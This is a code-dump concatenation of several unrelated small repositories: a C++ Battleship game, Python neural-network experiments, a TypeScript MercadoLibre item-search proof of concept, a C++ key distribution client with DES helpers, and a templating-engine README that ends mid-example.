m_Name = NAME;
}
<file_sep>/BattleShip/BattleShip/BattleShip.cpp
#include "BattleShip.h"
static const int HP = 4;
static const std::string NAME = "BattleShip";
BattleShip::BattleShip()
{
}
BattleShip::~BattleShip()
{
}
void BattleShip::initialize()
{
Ship::initialize();
m_Hp = HP;
m_Name = NAME;
}
<file_sep>/BattleShip/BattleShip/Cruiser.cpp
#include "Cruiser.h"
static const int HP = 3;
static const std::string NAME = "Cruiser";
Cruiser::Cruiser()
{
}
Cruiser::~Cruiser()
{
}
void Cruiser::initialize()
{
Ship::initialize();
m_Hp = HP;
m_Name = NAME;
}
<file_sep>/BattleShip/BattleShip/Ship.cpp
#include "Ship.h"
Ship::Ship()
{
initialize();
}
Ship::~Ship()
{
}
void Ship::initialize()
{
for (auto& pos : m_Point)
{
pos = { 0, 0 };
}
}
void Ship::AddPosition(char x, char y)
{
AddPosition(Point(x, y));
}
void Ship::AddPosition(Point pos)
{
if (!MapBoundaryCheck(pos))
return;
for (int i = 0; i < m_Hp; i++) {
m_Point[i] = pos;
pos.x++;
}
}
void Ship::PrintLocation()
{
for (auto& pos : m_Point) {
if (pos.x == 0 && pos.y == 0)
continue;
printf("ÁÂÇ¥ : %c, %c\n", pos.x, pos.y);
}
}
bool Ship::MapBoundaryCheck(Point pos)
{
if (pos.x < 'a' || pos.x > 'h')
return false;
if (pos.y < '1' || pos.y > '8')
return false;
return true;
}
HitResult Ship::HitCheck(Point pos)
{
for (auto& part : m_Point)
{
if (part.x == pos.x && part.y == pos.y){
m_Hp--;
part.x = 0;
part.y = 0;
return HitResult::HIT;
}
}
if (m_Hp <= 0)
return HitResult::DESTROY;
else
return HitResult::MISS;
}<file_sep>/BattleShip/BattleShip/Destroyer.cpp
#include "Destroyer.h"
static const int HP = 2;
static const std::string NAME = "Destroyer";
Destroyer::Destroyer()
{
}
Destroyer::~Destroyer()
{
}
void Destroyer::initialize()
{
Ship::initialize();
m_Hp = HP;
m_Name = NAME;
}
|
192344abd26664ff3e538095fc480b48bd38dd04
|
[
"C++"
] | 7 |
C++
|
hataeho1/Cpp-Study-2015-2-BattleShip
|
00766c89c0efa5203864c303f735544ea38921b0
|
20189a49e45b43220b784ad1993087f2f9f38cca
|
refs/heads/master
|
<repo_name>nevaan9/FacialRecognition<file_sep>/FacialRecognition/testingNeuralNetworks.py
import sklearn
from sklearn.datasets import load_breast_cancer
cancer = load_breast_cancer()
i = 0
for key in cancer:
print(key)
print(len(cancer['target']))
print(len(cancer['data']))
print(cancer['data'][0])<file_sep>/FacialRecognition/test.py
array1 = [[12,23], [56,78]]
array2 = [[34,56], [56,77]]
array3 = array1 + array2
print(array3)<file_sep>/FacialRecognition/DataExtract.py
import xlrd
import xlwt
import xlutils
#Class to extract data from excel files
class DataExtract(object):
#The constructor takes a filename.
def __init__(self, fileName):
#set the filename as instance data
self.fileName = fileName
#open the excel file
self.workBook = xlrd.open_workbook(self.fileName, on_demand=True)
#get the spreadsheet we want in the excel file
self.workSheet = self.workBook.sheet_by_index(0)
#Test function to print the entire spreadsheet
def printSheet(self):
x = self.workSheet.get_rows()
l = [0,4,5]
row = ""
for i in range(self.workSheet.row_len(0)):
y = next(x)
for j in l:
row += str(y[j]).split(':')[1].strip('\'') + " "
print(row)
row = ""
#w = list(map(lambda x: str(x).split(':')[1], y))
# row = ""
# for anItem in w:
# row += anItem.strip('\'') + " "
#print(y)
if __name__ == '__main__':
x = DataExtract('testWorkbook.xlsx')
x.printSheet()
<file_sep>/FacialRecognition/Neural_Network.py
import random
import numpy as np
class NeuralNetwork(object):
def __init__(self, data):
#Define HyperParameters
self.inputValues = 2
self.outputValues = 1
self.hiddenLayers = 3
self.data = data
#Initialize the weights of the neural network
self.w1 = np.random.randn(self.inputValues, self.hiddenLayers)
self.w2 = np.random.randn(self.hiddenLayers, self.outputValues)
# Forward propagete inputs through our network
def forward(self):
self.z2 = np.dot(self.data, self.w1)
self.a2 = self.sigmoid(self.z2)
self.z3 = np.dot(self.a2, self.w2)
yHat = self.sigmoid(self.z3)
return yHat
# Apply the sigmoid activation function
def sigmoid(self, z):
return 1/(1+np.exp(-z))
if __name__ == '__main__':
y = np.array(([1, 2], [4, 5], [6,7]), dtype=int)
x = NeuralNetwork(y)
print(x.forward())
print('\n')
#Cool thing about numpy is that is applies the function to each element. Like map.
print(x.sigmoid(np.array([-1,-2,4])))
<file_sep>/FacialRecognition/NN.py
import pandas as pd
import numpy as np
from sklearn.neural_network import MLPClassifier
import xlrd
input_file = "dataset.csv"
k = pd.read_csv(input_file, header=0)
numpyArray = k.as_matrix()
columnSize = len(numpyArray[0])
#function to slice dataset
def cutDataSet(rowStart, rowEnd, columnStart, columnEnd, dataset):
'''
:param start: Start value of a dataset
:param end: where you want to end slicing
:param dataset: takes any numpy array. (2D array)
:return: returns a sliced numpy array with start and ending points
'''
returnArray = []
for i in range(rowStart,rowEnd):
tempArray = []
for j in range(columnStart, columnEnd):
tempArray.append(dataset[i][j])
returnArray.append(tempArray)
return returnArray
#divide into train and test datasets
trainX1 = cutDataSet(0, 109//2, 30, len(numpyArray[0]), numpyArray)
trainX2 = cutDataSet(110, (196//2)+109, 30, len(numpyArray[0]), numpyArray)
trainX3 = cutDataSet(109+196+1, (109//2)+(109+196), 30, len(numpyArray[0]), numpyArray)
trainX4 = cutDataSet(109+196+109, (183//2)+(109+196+109), 30, len(numpyArray[0]), numpyArray)
finalTrainX = trainX1 + trainX2 + trainX3 + trainX4
testX1 = cutDataSet(109//2, 109, 30, len(numpyArray[0]), numpyArray)
testX2 = cutDataSet((196//2)+109, 110+196, 30, len(numpyArray[0]), numpyArray)
testX3 = cutDataSet((109//2)+(109+196), 109+196+1+109, 30, len(numpyArray[0]), numpyArray)
testX4 = cutDataSet((183//2)+(109+196+109), len(numpyArray), 30, len(numpyArray[0]), numpyArray)
finalTestX = testX1 + testX2 + testX3 + testX4
trainY1 = cutDataSet(0, 109//2, 1, 2, numpyArray)
trainY2 = cutDataSet(110, (196//2)+109, 1, 2, numpyArray)
trainY3 = cutDataSet(109+196+1, (109//2)+(109+196), 1, 2, numpyArray)
trainY4 = cutDataSet(109+196+109, (183//2)+(109+196+109), 1, 2, numpyArray)
trainY = trainY1 + trainY2 + trainY3 + trainY4
finalTrainY = []
for anItem in trainY:
for anItemin in anItem:
finalTrainY.append(anItemin)
resultY1 = cutDataSet(109//2, 109, 1, 2, numpyArray)
resultY2 = cutDataSet((196//2)+109, 110+196, 1, 2, numpyArray)
resultY3 = cutDataSet((109//2)+(109+196), 109+196+1+109, 1, 2, numpyArray)
resultY4 = cutDataSet((183//2)+(109+196+109), len(numpyArray), 1, 2, numpyArray)
ResultY = resultY1 + resultY2 + resultY3 + resultY4
finalResultY = []
for anItem in ResultY:
for anItemin in anItem:
finalResultY.append(anItemin)
finalTrainX = np.array(finalTrainX)
finalTrainX = finalTrainX / np.max(finalTrainX, axis=0)
finalTestX = np.array(finalTestX)
finalTestX = finalTestX / np.max(finalTestX, axis=0)
#
mlp = MLPClassifier(hidden_layer_sizes=(30,30,30))
mlp.fit(finalTrainX,finalTrainY)
#
predict = mlp.predict(finalTestX)
#
print(len(finalTestX))
print(len(finalResultY))
print()
print(len(finalTrainX))
print(len(finalTrainY))
print(mlp.score(finalTestX, finalResultY))
print(finalResultY)
print(predict)
|
97404b0f10d1e5a9d63e7b2e6f2c0ac9df6ce74f
|
[
"Python"
] | 5 |
Python
|
nevaan9/FacialRecognition
|
84ee27c3543a334514809597c321adf3d99e1bae
|
9ef580da09418116abe2b8198d9cc9e84df23ecb
|
refs/heads/master
|
<file_sep>import { connect } from 'react-redux';
import { State } from '../../state-mgmt';
import { ItemModel } from '../../models';
import List from './List';
const mapStateToProps = (state: State): { list: ItemModel[] } => ({
list: state.items.list
});
const mapDispatchToProps = (dispatch: any) => ({});
export const ListContainer = connect(mapStateToProps, mapDispatchToProps)(List);
export default ListContainer;
<file_sep>import { connect } from 'react-redux';
import { State, itemsActions } from '../../state-mgmt';
import Header from './Header';
const mapStateToProps = (state: State): {} => ({});
const mapDispatchToProps = (dispatch: any) => ({
fetchList: (search: string): void => dispatch(itemsActions.fetchList(search))
});
export const HeaderContainer = connect(mapStateToProps, mapDispatchToProps)(Header);
export default HeaderContainer;
<file_sep>import { Route, Controller, Get } from 'tsoa';
import { ProvideSingleton } from '../ioc';
@Route('ping')
@ProvideSingleton(PingController)
export class PingController extends Controller {
@Get()
public async ping(): Promise<string> {
return 'pong';
}
}
<file_sep>import HttpService from './Http.service';
import { ItemModel } from '../models';
export default class MLService {
private static url: string = 'http://localhost:3000/api/items';
public static fetchList(search: string): Promise<ItemModel[]> {
return HttpService.get(MLService.url, { params: { search } });
}
public static fetchOne(id: string): Promise<ItemModel> {
return HttpService.get(`${MLService.url}/${id}`);
}
}<file_sep>import { ProvideSingleton, inject } from '../ioc';
import { ItemModel } from '../models';
import { ItemsRepository } from '../repositories';
@ProvideSingleton(GetItemsUseCase)
export class GetItemsUseCase {
constructor(@inject(ItemsRepository) private itemsRepository: ItemsRepository) { }
public async getById(id: string): Promise<ItemModel> {
return this.itemsRepository.findOne(id);
}
public async find(query: string): Promise<ItemModel[]> {
return (await this.itemsRepository.find(query)).results;
}
}
<file_sep>import { ItemModel } from '../../models';
export interface Action {
type: string;
payload?: any;
}
export interface State {
items: { list: ItemModel[], featured: ItemModel };
}
export type Reducer<T> = (state: T, action: Action) => T;
export type Effect = (action: Action) => void;
<file_sep>import { Action } from '../config';
import { ItemsActionTypes } from './actions';
import { ItemsState, itemsStateName } from './state';
import { reducerRegistry } from '../config/reducer-registry';
export const itemsReducer = (state = new ItemsState(), action: Action): ItemsState => {
switch (action.type) {
case ItemsActionTypes.FETCH_LIST_SUCCESS:
return new ItemsState({ ...state, list: [...action.payload] });
case ItemsActionTypes.FETCH_ONE_SUCCESS:
return new ItemsState({ ...state, featured: action.payload });
default:
return state;
}
};
reducerRegistry.register(itemsStateName, itemsReducer);
<file_sep>export * from './ItemsRepository';
<file_sep>export * from './ItemModel';
export * from './ItemsResponse';
<file_sep>import { ItemModel } from '../../models';
export const itemsStateName: string = 'items';
export class ItemsState {
public list: ItemModel[] = [];
public featured: ItemModel = null;
constructor(args?: ItemsState) {
if (args) Object.assign(this, args);
}
}
<file_sep>import { Request, Response, NextFunction } from 'express';
import { Logger } from './Logger';
export class ApiError extends Error {
public statusCode: number;
constructor(name: string, statusCode: number, message?: string) {
super(message);
this.name = name;
this.statusCode = statusCode;
}
}
export class ErrorHandler {
public static handleError(error: ApiError, req: Request, res: Response, next: NextFunction): void {
const { name = 'InternalServerError', message = 'error', statusCode = 500 } = error;
Logger.error(`Error: ${name}:`, message, error);
res.status(statusCode).json({ name, message })
next();
}
}
<file_sep>export * from './ItemsController';
export * from './PingController';
<file_sep>export class Logger {
public static log(...args: any[]): void {
console.log(Logger.formatArgs(args));
}
public static warn(...args: any[]): void {
console.warn(Logger.formatArgs(args));
}
public static error(...args: any[]): void {
console.error(Logger.formatArgs(args));
}
private static formatArgs(args: any[]): string {
if (args.length <= 1) args = args[0];
return JSON.stringify(args, null, 4)
}
}
<file_sep>import { expect } from 'chai';
import { GetItemsUseCase } from '../../usecases';
import { ItemModel, ItemsResponse } from '../../models';
import { MockItemsRepository } from '../mocks/mockItemsRepository'
// if you used the '@types/mocha' method to install mocha type definitions, uncomment the following line
// import 'mocha';
describe('GetItemsUseCase', () => {
let useCase: GetItemsUseCase;
beforeEach(() => {
useCase = new GetItemsUseCase(new MockItemsRepository() as any);
});
it('should find many', async () => {
const results = await useCase.find('');
expect(results.length).to.be.greaterThan(0);
});
it('should get by id', async () => {
const results = await useCase.getById('')
expect(!!results).to.equal(true);
});
});
<file_sep>import { Route, Controller, Get, Put, Post, Delete, Security, Query, Body } from 'tsoa';
import { ProvideSingleton, inject } from '../ioc';
import { ItemModel } from '../models';
import { GetItemsUseCase } from '../usecases';
@Route('items')
@ProvideSingleton(ItemsController)
export class ItemsController extends Controller {
constructor(@inject(GetItemsUseCase) private getItemsUseCase: GetItemsUseCase) {
super();
}
@Get('{id}')
public async getById(id: string): Promise<ItemModel> {
return this.getItemsUseCase.getById(id);
}
@Get()
public async getItems(@Query('search') search: string): Promise<ItemModel[]> {
return this.getItemsUseCase.find(search);
}
}
<file_sep>import { get } from 'requestify';
import { ProvideSingleton, inject } from '../ioc';
import { ItemModel, ItemsResponse } from '../models';
@ProvideSingleton(ItemsRepository)
export class ItemsRepository {
private searchUrl: string = 'https://api.mercadolibre.com/sites/MLA/search';
private itemUrl: string = 'https://api.mercadolibre.com/items';
private limit: number = 4;
public async find(query: string): Promise<ItemsResponse> {
const res = await get(`${this.searchUrl}?q=${query}&limit=${this.limit}`);
const body: ItemsResponse = await res.getBody();
body.results = (body.results || []).map(item => new ItemModel(item));
return Promise.resolve(body);
}
public async findOne(id: string): Promise<ItemModel> {
const itemRes = await get(`${this.itemUrl}/${id}`);
const itemBody = await itemRes.getBody();
let description: string = '';
if (itemBody.descriptions && itemBody.descriptions.length) {
const descRes = await get(`${this.itemUrl}/${id}/descriptions/${itemBody.descriptions[0].id}`);
const descBody = await descRes.getBody();
description = descBody.trusted_plain_text;
}
const descriptionRes = await get(`${this.itemUrl}/${id}`);
return Promise.resolve(new ItemModel({ ...itemBody, description }));
}
}
<file_sep>export class ItemModel {
public id: string = null;
public title: string = null;
public price: { currency: string; amount: number; decimals: number; } = null;
public permalink: string = null;
public thumbnail: string = null;
public picture: string = null;
public condition: string = null;
public free_shipping: boolean = false;
public categories: string[] = [];
public author: { name: string; lastname: string; } = null;
public address: { state_id: string; state_name: string; city_id: string; city_name: string; } = null;
public description: string = null;
constructor(args: any) {
if (!args) throw new Error('args are missing');
Object.keys(this).forEach(key => args[key] !== undefined ? this[key] = args[key] : null);
this.free_shipping = args.shipping && args.shipping.free_shipping;
this.categories = [args.category_id];
this.price = {
currency: args.currency_id,
amount: args.price,
decimals: 2
};
this.picture = args.pictures && args.pictures[0] && args.pictures[0].secure_url;
}
}
<file_sep>import { ItemModel } from './ItemModel';
export interface ItemsResponse {
site_id: string;
query: string;
paging: {
total: number,
offset: number,
limit: number,
primary_results: number
};
results: ItemModel[];
}<file_sep>import { connect } from 'react-redux';
import { State, itemsActions } from '../../state-mgmt';
import { ItemModel } from '../../models';
import Detail from './Detail';
const mapStateToProps = (state: State): { featured: ItemModel } => ({
featured: state.items.featured
});
const mapDispatchToProps = (dispatch: any) => ({
fetchOne: (id: string): void => dispatch(itemsActions.fetchOne(id))
});
export const ListContainer = connect(mapStateToProps, mapDispatchToProps)(Detail);
export default ListContainer;
<file_sep>import * as mongoose from 'mongoose';
import { ProvideSingleton, inject } from '../ioc';
@ProvideSingleton(DbConnection)
export class DbConnection {
public db: mongoose.Connection
private connectionString: string = '***';
constructor() {
this.db = mongoose.createConnection(this.connectionString);
}
}
<file_sep>import { ItemModel } from '../../models';
import { itemsStateName } from './state';
export const ItemsActionTypes = {
'FETCH_LIST': `[${itemsStateName}] fetch list`,
'FETCH_LIST_SUCCESS': `[${itemsStateName}] fetch list success`,
'FETCH_ONE': `[${itemsStateName}] fetch one`,
'FETCH_ONE_SUCCESS': `[${itemsStateName}] fetch one success`
};
export const itemsActions = {
fetchList: (payload: string) => ({ type: ItemsActionTypes.FETCH_LIST, payload }),
fetchListSuccess: (payload: ItemModel[]) => ({ type: ItemsActionTypes.FETCH_LIST_SUCCESS, payload }),
fetchOne: (payload: string) => ({ type: ItemsActionTypes.FETCH_ONE, payload }),
fetchOneSuccess: (payload: ItemModel) => ({ type: ItemsActionTypes.FETCH_ONE_SUCCESS, payload }),
};
<file_sep># POC Back Test
* commands
* * instalation: `yarn install`
* * dev: `yarn start`
* * test: `yarn test`
# POC Front Test
* commands
* * instalation: `yarn install`
* * dev: `yarn start`
<file_sep>export * from './getItemsUseCase';
<file_sep>import * as express from 'express';
import * as bodyParser from 'body-parser';
import * as winston from 'winston';
import * as expressWinston from 'express-winston';
import { ErrorHandler } from './ErrorHandler';
import { RegisterRoutes } from '../../build/routes';
import { Logger } from './Logger';
import '../controllers';
export class Server {
public app: express.Express = express();
private readonly port: number = 3030;
constructor() {
this.app.use(this.allowCors);
this.app.use(bodyParser.urlencoded({ extended: true }));
this.app.use(bodyParser.json());
this.app.use(expressWinston.logger({ transports: [new winston.transports.Console({ colorize: true })] }));
RegisterRoutes(this.app);
this.app.use(ErrorHandler.handleError);
}
public listen(port: number = this.port): void {
this.app.listen(this.port);
Logger.log(`listening to port: ${this.port}`);
}
private allowCors (req: express.Request, res: express.Response, next: express.NextFunction): void {
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept, Authorization');
next();
}
}
<file_sep>export interface ItemModel {
id: string;
title: string;
price: { currency: string; amount: number; decimals: number; };
permalink: string;
thumbnail: string;
picture: string;
condition: string;
free_shipping: boolean;
categories: string[];
author: { name: string; lastname: string; };
address: { state_id: string; state_name: string; city_id: string; city_name: string; };
description: string;
}
<file_sep>export const safeParse = (str: string, fallback: any = undefined) => {
try {
return JSON.parse(str);
} catch {
return fallback;
}
};
<file_sep>import MLService from '../../services/ML.service';
import { store, Action, Effect, effectRegistry } from '../config';
import { ItemsActionTypes, itemsActions } from './actions';
import { ItemModel } from '../../models';
const fetchListEffect: Effect = async (action: Action): Promise<void> => {
const list: ItemModel[] = await MLService.fetchList(action.payload);
store.dispatch(itemsActions.fetchListSuccess(list));
};
const fetchOneEffect: Effect = async (action: Action): Promise<void> => {
store.dispatch(itemsActions.fetchOneSuccess(null));
const item: ItemModel = await MLService.fetchOne(action.payload);
store.dispatch(itemsActions.fetchOneSuccess(item));
};
effectRegistry.register(ItemsActionTypes.FETCH_LIST, fetchListEffect);
effectRegistry.register(ItemsActionTypes.FETCH_ONE, fetchOneEffect);
|
82baa8167fc66141e6f9bbf78f1c36cc8cce4da0
|
[
"Markdown",
"TypeScript"
] | 27 |
TypeScript
|
danielisaacgeslin/ML-POC
|
1fa76c3ab2aa50ec1303ca9afe3da9c7d2702aca
|
6e39af515cb61006f8c78fbf092472ec49321e6c
|
refs/heads/master
|
<file_sep># id and user
ID=-1
USERNAME=NONE
TMPID=-1
TMPUSER=NONE
# 是否被注册
ISREGISIZE=FALSE
# 上次是否异常退出
STATUS=0
<file_sep>//log.h 日志头文件
#ifndef _LOG_H_
#define _LOG_H_
/*
#define IC_NO_LOG_LEVEL 0
#define IC_DEBUG_LEVEL 1
#define IC_INFO_LEVEL 2
#define IC_WARNING_LEVEL 3
#define IC_ERROR_LEVEL 4;
*/
/************************************************************************/
/*
const char *file：文件名称
int line：文件行号
int level：错误级别
0 -- 没有日志
1 -- debug级别
2 -- info级别
3 -- warning级别
4 -- err级别
int status：错误码
const char *fmt：可变参数
*/
/************************************************************************/
//实际使用的Level
//***应该用enum class ERRORCODE***
//尽可能优先使用强类型枚举。
//但是如果改过来因为该类型要做_Log函数的参数
//强转太麻烦，只能改成现在这样。
enum ERRORCODE{
RIGHT=0,
FUNC_FAILED,
SQLQUERY_FAILED,
DECODE_FAILED
};
extern int Level[5];
void _Log(const char *file, int line, int level, int status, const char *fmt, ...);
#endif //_LOG_H_
<file_sep>#ifndef _CLI_SOCKET_H_
#define _CLI_SOCKET_H_
#include <string>
class clisocket{
public:
clisocket(std::string ip, int port);
~clisocket();
clisocket(const clisocket& csock) = delete;
clisocket& operator=(const clisocket& csock) = delete;
int get_fd();
private:
int cli_sockfd;//套接字
};
#endif //_CLI_SOCKET_H_
<file_sep>#include <iostream>
#include <unistd.h>
#include "kdc_api.h"
int main()
{
KDCAPI kdc_api(5);
//登录
kdc_api.Key_Login("shihongyu", "s123698745");
std::string excode;
std::string commkey;
//申请
if(!kdc_api.Key_Apply(8, excode)) {
std::cout << "申请密钥出错:" << kdc_api.get_errorstr() << std::endl;
return 0;
}
std::cout << "申请密钥成功,申请码:" << excode << std::endl;
//提取
if(!kdc_api.Key_Get(8, excode, commkey)) {
std::cout << "获取密钥出错:" << kdc_api.get_errorstr() << std::endl;
return 0;
}
std::cout << "与8号的共享密钥为" << commkey << std::endl;
std::string str_in = "\n \
When I do count the clock that tells the time,\n \
And see the brave day sunk in hideous night;\n \
When I behold the violet past prime,\n \
And sable curls all silver'd o'er with white:\n \
When lofty trees I see barren of leaves,\n \
Which erst from heat did canopy the herd,\n \
And summer's green, all girded up in sheaves,\n \
Born on the bier with white and bristly beard;\n \
Then of thy beauty do I question make,\n \
That thou among the wastes of time must go,\n \
Since sweets and beauties do themselves forsake,\n \
And die as fast as they see others grow;\n \
And nothing 'gainst Time's scythe can make defence\n \
Save breed, to brave him when he takes thee hence. ";
std::cout << "明文是: " << str_in << std::endl;
std::string str_out;
if(!kdc_api.Des_encrypt(str_out, str_in, commkey)) {
std::cout << "DES加密出错:" << kdc_api.get_errorstr() << std::endl;
return 0;
}
std::cout << "加密后的密文是: " << str_out << std::endl;
std::string str_out_2;
if(!kdc_api.Des_decrypt(str_out_2, str_out, commkey)) {
std::cout << "DES解密出错:" << kdc_api.get_errorstr() << std::endl;
return 0;
}
std::cout << "解密后的明文是: " << str_out_2 << std::endl;
if(!kdc_api.Key_Cancel(8, excode)) {
std::cout << "注销密钥出错:" << kdc_api.get_errorstr() << std::endl;
return 0;
}
std::cout << "已注销与8号的共享密钥\n";
return 0;
}
<file_sep>/*************************************************************************
> File Name: msg_corr.h
> Author: shihongyu
> Mail: <EMAIL>
> Created Time: Wed 27 Mar 2019 02:58:48 PM CST
************************************************************************/
#ifndef _MSG_CORR_H_
#define _MSG_CORR_H_
#include <string>
//请求格式：
//{
// "cmptype" :int, 0->退出 1->申请 2->提取 3->注册 4->登录
// "id" :int,
// "otherid" :int,
// "username" :std::string,
// "userpasswd":std::string,
// "body" :std::string
//}
//
struct reqmsg {
int cmdtype;
int id;
int otherid;
std::string username;
std::string userpasswd;
std::string body;
public:
reqmsg()
:cmdtype(0),
id(-1),
otherid(-1),
username(std::string()),
userpasswd(std::string()),
body(std::string())
{}
};
std::string Reqmsg_encode(const reqmsg& sendbuf);
reqmsg Reqmsg_decode(const std::string& str);
//响应格式：
//{
// "retbool" :bool,
// "body" :std::string
//}
struct resmsg {
bool retbool;
std::string body;
resmsg()
:retbool(false),
body(std::string())
{}
};
std::string Resmsg_encode(const resmsg& sendbuf);
resmsg Resmsg_decode(const std::string& str);
void message_encrypt(std::string& message, const std::string& key);
bool message_decrypt(std::string& message, const std::string& key);
std::string get_ownkeyFromStr(std::string str_src);
#endif //_MSG_CORR_H_
<file_sep>/*************************************************************************
> File Name: send_and_recv.h
> Author: shihongyu
> Mail: <EMAIL>
> Created Time: Sat 18 May 2019 01:38:35 PM CST
************************************************************************/
#ifndef _SENDANDRECV_H_
#define _SENDANDRECV_H_
#include <string>
int send_msg(int sendfd, std::string& str_all, int str_len);
int recv_msg(int recvfd, std::string& str_all);
#endif //_SENDANDRECV_H_
<file_sep>.PHONY:clean all
WORKDIR=.
VPATH=./src
CPP=g++
CPPFLAGS=-Wall -g -I$(WORKDIR)/inc/ -std=c++11
CPPFLAGSSO=-I$(WORKDIR)/inc/ -L$(WORKDIR)/lib/ -lkdcapi -Wl,-rpath $(WORKDIR)/lib/ -std=c++11
BIN=client test_kdcapi
all:$(BIN)
#client: log.o send_and_recv.o cfg_op.o cli_socket.o msg_corr.o method.o cli_main.o
client:
$(CPP) $(CPPFLAGS) $^ -o $@ $(WORKDIR)/lib/libclientmake.a
test_kdcapi: $(WORKDIR)/example/test_kdcapi.cpp
$(CPP) $(CPPFLAGSSO) $^ -o $@
clean:
rm -rf $(BIN)
<file_sep>#ifndef _METHOD_H_
#define _METHOD_H_
#include <iostream>
#include "msg_corr.h"
bool regisize(int& id, std::string& user_name);
bool login(int& id, std::string& user_name,
std::string& id_key, std::string& own_key);
void cli_exit(reqmsg& req_send, const int& id,
std::string& id_key, const std::string& own_key);
void cli_applyfor(reqmsg& req_send, const int& id,
std::string& id_key, const std::string& own_key);
void cli_extract(reqmsg& req_send, const int& id,
std::string& id_key, const std::string& own_key);
void cli_cancel(reqmsg& req_send, const int& id,
std::string& id_key, const std::string& own_key);
#endif //_METHOD_H_
<file_sep>#ifndef _KDC_API_H_
#define _KDC_API_H_
#include <string>
#include "des.h"
class KDCAPI: private Des
{
public:
KDCAPI() = delete;
~KDCAPI();
KDCAPI(const KDCAPI& csock) = delete;
KDCAPI& operator=(const KDCAPI& csock) = delete;
public:
explicit KDCAPI(int id);
bool Key_Login(const std::string userName, const std::string userPasswd);
bool Key_Apply(int peerId, std::string& excode);
bool Key_Get(int peerId, const std::string excode, std::string& commKey);
bool Key_Cancel(int peerId, const std::string excode);
bool Des_encrypt(std::string& str_out, std::string str_in,
const std::string& commKey);
bool Des_decrypt(std::string& str_out, std::string str_in,
const std::string& commKey);
std::string get_errorstr();
private:
size_t Min_data(size_t num);
private:
int _id;
int _status;
std::string _idKey;
std::string _ownKey;
std::string _errorstr;
};
#endif //_KDC_API_H_
<file_sep># **README1.2.0**
## 操作引导
首先执行命令
```
git clone <EMAIL>:gitsshylalala/mykdc.git
```
克隆完成后
```
cd mykdc
make
```
目录介绍：
1. ./lib/ 表示静态库目录，如果要以-lkdcapi方式使用于其他地方，执行命令
```
cp ./lib/*.so /lib64/
```
2. ./item/ 目标文件集合。
3. ./inc/ 头文件集合。
---
## 项目介绍
本项目为基于C++的对称密钥分发平台客户端程序<br>
目的是以客户端程序、函数接口的形式安全分发和保存用户对称密钥。<br>
还有一个目的是完成鄙人的毕业设计。<br>
同时用到开源有rapidjson、glog。还有我从脚本之家找的DES算法代码。<br>
[rapidjson文档](http://rapidjson.org/zh-cn/) <br>
[glog于git上代码](https://github.com/google/glog) <br>
[脚本之家DES算法](https://www.jb51.net/article/98430.htm)
---
## 使用方式
执行命令make后可以看到两个可执行程序。<br>
其中client为客户端进程，可以执行程序以操作。<br>
test_kdcapi为示例程序，详细代码在./example/下。
---
## 注意事项
1. 不要自己修改配置文件。
2. 调用KDCAPI对象的加密手段是，底层对In的字符串进行了两次In.size()的内存开辟。<br>
如果输入数据块In过大建议自己攥写DES算法实现而非调用接口。
3. 动态库要注意编译时和执行时都需要，所以要么临时修改LD_LIBRARY_PATH，要么整体修改/etc/ld.so.conf并执行ldconfig
4. 测试过程中证明g++版本不宜过高或过低，4.8左右g++最好。
5. 有问题麻烦发给邮箱shih<EMAIL>，感激不尽。
|
a55c9246b0505776ea7693692e5dca9083435e8c
|
[
"Markdown",
"Makefile",
"INI",
"C",
"C++"
] | 10 |
INI
|
gitsshylalala/mykdc
|
a5ee7e3f1653cb15c8a77b30d24d54f8c1ffbfbc
|
edd2e73bc3bbb9f34a3b34d0fd0a837f2dacfed8
|
refs/heads/master
|
<repo_name>u9520107/js-editor<file_sep>/README.md
js-editor
=========
javascript json-schema library and command line tool
javascript based json-schema building and editing library
----
cli tools
-------
<file_sep>/index.js
#!/usr/bin/env node
var commander = require('commander');
commander
.version('0.0.0')
.usage('<keywords>')
.parse(process.argv);
console.log(commander.args);
|
889dd217edfdd847da4501edffbe4d69fa085e44
|
[
"Markdown",
"JavaScript"
] | 2 |
Markdown
|
u9520107/js-editor
|
9ddb8e12e957e26bf71706b210e59e1be69c97ae
|
877f09f3ace6590165d356717e0c583c8c7dabb5
|
refs/heads/main
|
<file_sep>[](https://travis-ci.com/dgrundel/outie)
# outie
A customizable templating engine for node, written in TypeScript.
## Basic usage
### Render a simple string template
[See this example on RunKit.](https://runkit.com/dgrundel/outie-hello-world)
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const template = `Hello, {name}!`;
const data = { name: 'world' };
const rendered = await outie.render(template, data);
console.log(rendered); // "Hello, world!"
```
### Render a template file
```html
<!-- hello.html.outie -->
<h1>Hello, {name}!</h1>
```
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const absPath = path.join(__dirname, 'hello.html.outie');
const data = { name: 'world' };
const rendered = await outie.renderFile(absPath, data);
console.log(rendered); // "<h1>Hello, world!</h1>"
```
## Configuration
**No configuration is required to get started.**
```typescript
import { Outie } from 'outie';
// use the default config
const outie = new Outie();
```
_However_, you have the option to configure almost all of the
syntax you can see in the usage examples below.
```typescript
import { Outie, defaultConfig, MruCache, Template } from 'outie';
// customize everything
const customConfig = {
// these are the defaults
tokenStart: '{',
tokenEnd: '}',
closeTokenIdentifier: '/',
// tokens lets you add, remove, or customize
// the set of supported "tokens" (aka tags)
tokens: {
// you can easily rename the bundled tokens
// using the exported `defaultConfig`
// rename "raw" token to "~"
'~': defaultConfig.tokens.raw,
// rename "includeRaw" token to "incRaw"
'incRaw': defaultConfig.tokens.includeRaw,
// rename "include" token to "inc"
'inc': defaultConfig.tokens.include,
// rename "if" token to "?"
'?': defaultConfig.tokens.if,
// rename "unless" token to "!"
'!': defaultConfig.tokens.unless,
// rename "for" token to "each"
'each': defaultConfig.tokens.for,
// you can also create your own token definitions
'random': class RandomToken extends Token {
async render() {
return Math.random().toString();
}
}
},
// cache up to 100 template files
fileCache: new MruCache<Template>(100),
};
const outie = new Outie(customConfig);
```
### Precompiling templates from strings
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const templateStr = `Hello, {name}!`;
const data = { name: 'world' };
const template = await outie.template(templateStr); // compile template
const rendered = await template.render(data); // render pre-compiled template
console.log(rendered); // "Hello, world!"
```
### Precompiling templates from files
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const absPath = path.join(__dirname, 'hello.html.outie');
const data = { name: 'world' };
const template = await outie.templateFromFile(absPath); // compile template
const rendered = await template.render(data); // render pre-compiled template
console.log(rendered); // "Hello, world!"
```
## Logic and looping
### If/Unless
```typescript
import { Outie } from 'outie';
const outie = new Outie();
const template = `
